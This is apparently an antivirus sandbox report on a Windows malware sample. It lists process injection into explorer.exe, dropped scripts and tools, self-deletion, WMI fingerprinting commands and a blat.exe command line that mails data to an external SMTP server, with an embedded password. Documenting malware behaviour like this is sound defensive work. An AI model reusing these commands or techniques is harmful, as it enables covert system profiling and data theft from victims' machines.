Technical Information
Malicious functions
Injects code into
the following system processes:
- %WINDIR%\syswow64\explorer.exe
Modifies file system
Creates the following files
- %TEMP%\nst5a96.tmp\system.dll
- %TEMP%\correo
- %TEMP%\service
- %TEMP%\status
- %TEMP%\certkey
- %TEMP%\nst5a96.tmp\math.dll
- %TEMP%\actualizaciones
- %TEMP%\java
- %TEMP%\hsperfdata_user\1792
- %TEMP%\cert
- %TEMP%\nst5a96.tmp\nsexec.dll
- %TEMP%\dump.bat
- %TEMP%\nst5a96.tmp\nsprocess.dll
- %TEMP%\serialnumber.bat
- %TEMP%\autoupdate.vbs
- %TEMP%\ansitoutf8.vbs
- %TEMP%\actualizaciones.vbs
- %TEMP%\obtenerred.vbs
- %TEMP%\getip.vbs
- %TEMP%\blat.dll
- %TEMP%\blat.exe
- %TEMP%\7za.dll
- %TEMP%\7za.exe
- %TEMP%\cstore.vbs
- %TEMP%\capicom.dll
- %TEMP%\cstoremini.vbs
- %TEMP%\nst5a96.tmp\selfdel.dll
Deletes the following files
- %TEMP%\nst5a96.tmp\math.dll
- %TEMP%\nst5a96.tmp\nsexec.dll
- %TEMP%\nst5a96.tmp\nsprocess.dll
- %TEMP%\nst5a96.tmp\selfdel.dll
- %TEMP%\nst5a96.tmp\system.dll
Deletes itself.
Network activity
TCP
- 'sm##.cofpo.org':25
UDP
- DNS ASK sm##.cofpo.org
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\wscript.exe' "%TEMP%\GetIP.vbs" "%TEMP%\IP"
- '%WINDIR%\syswow64\wscript.exe' "%TEMP%\AutoUpdate.vbs"
- '%WINDIR%\syswow64\wscript.exe' "%TEMP%\Actualizaciones.vbs" "%TEMP%\Actualizaciones"
- '%WINDIR%\syswow64\cscript.exe'
- '%TEMP%\blat.exe' -server smtp.cofpo.org:25 -f correointerno@cofpo.org -u correointerno@cofpo.org -pw HXmSp66klv -from correointerno@cofpo.org -to errores@cofpo.org -subject "SIN CERTIFICADO Farma:###IP_PC:###IP...
- '%WINDIR%\syswow64\wscript.exe' "%TEMP%\AutoUpdate.vbs"' (with hidden window)
- '%WINDIR%\syswow64\findstr.exe' /M /I "" %TEMP%\Certkey' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c %TEMP%\SerialNumber.bat' (with hidden window)
- '%WINDIR%\syswow64\wbem\wmic.exe' OS get lastBootUpTime /Value' (with hidden window)
- '%WINDIR%\syswow64\wbem\wmic.exe' OS get version /value' (with hidden window)
- '%WINDIR%\syswow64\wbem\wmic.exe' OS get suiteMask /value' (with hidden window)
- '%WINDIR%\syswow64\wbem\wmic.exe' OS get buildNumber /value' (with hidden window)
- '%WINDIR%\syswow64\wbem\wmic.exe' OS get servicePackMinorVersion /value' (with hidden window)
- '%WINDIR%\syswow64\wbem\wmic.exe' OS get FreePhysicalMemory /Value' (with hidden window)
- '%WINDIR%\syswow64\wbem\wmic.exe' OS get caption /value' (with hidden window)
- '%WINDIR%\syswow64\wbem\wmic.exe' OS get servicePackMajorVersion /value' (with hidden window)
- '%WINDIR%\syswow64\wbem\wmic.exe' DISKDRIVE GET SerialNumber /value' (with hidden window)
- '%WINDIR%\syswow64\wbem\wmic.exe' OS get TotalVisibleMemorySize /value' (with hidden window)
- '%WINDIR%\syswow64\wbem\wmic.exe' cpu get Name /value' (with hidden window)
- '%WINDIR%\syswow64\wscript.exe' "%TEMP%\Actualizaciones.vbs" "%TEMP%\Actualizaciones"' (with hidden window)
- '%PROGRAMDATA%\oracle\java\javapath\java.exe' -version' (with hidden window)
- '%WINDIR%\syswow64\wscript.exe' "%TEMP%\GetIP.vbs" "%TEMP%\IP"' (with hidden window)
- '%WINDIR%\syswow64\wbem\wmic.exe' OS get installDate /value' (with hidden window)
- '%TEMP%\blat.exe' -server smtp.cofpo.org:25 -f correointerno@cofpo.org -u correointerno@cofpo.org -pw HXmSp66klv -from correointerno@cofpo.org -to errores@cofpo.org -subject "SIN CERTIFICADO Farma:###IP_PC:###IP...' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\wbem\wmic.exe' cpu get Name /value
- '%WINDIR%\syswow64\wbem\wmic.exe' OS get TotalVisibleMemorySize /value
- '%WINDIR%\syswow64\wbem\wmic.exe' DISKDRIVE GET SerialNumber /value
- '%WINDIR%\syswow64\wbem\wmic.exe' OS get FreePhysicalMemory /Value
- '%WINDIR%\syswow64\wbem\wmic.exe' OS get caption /value
- '%WINDIR%\syswow64\wbem\wmic.exe' OS get servicePackMajorVersion /value
- '%WINDIR%\syswow64\wbem\wmic.exe' OS get servicePackMinorVersion /value
- '%WINDIR%\syswow64\wbem\wmic.exe' OS get buildNumber /value
- '%WINDIR%\syswow64\wbem\wmic.exe' OS get installDate /value
- '%WINDIR%\syswow64\wbem\wmic.exe' OS get suiteMask /value
- '%WINDIR%\syswow64\wbem\wmic.exe' OS get version /value
- '%WINDIR%\syswow64\wbem\wmic.exe' OS get lastBootUpTime /Value
- '%WINDIR%\syswow64\cmd.exe' /c %TEMP%\SerialNumber.bat
- '%WINDIR%\syswow64\regsvr32.exe'
- '%WINDIR%\syswow64\findstr.exe' /M /I "" %TEMP%\Certkey
- '%WINDIR%\syswow64\explorer.exe'
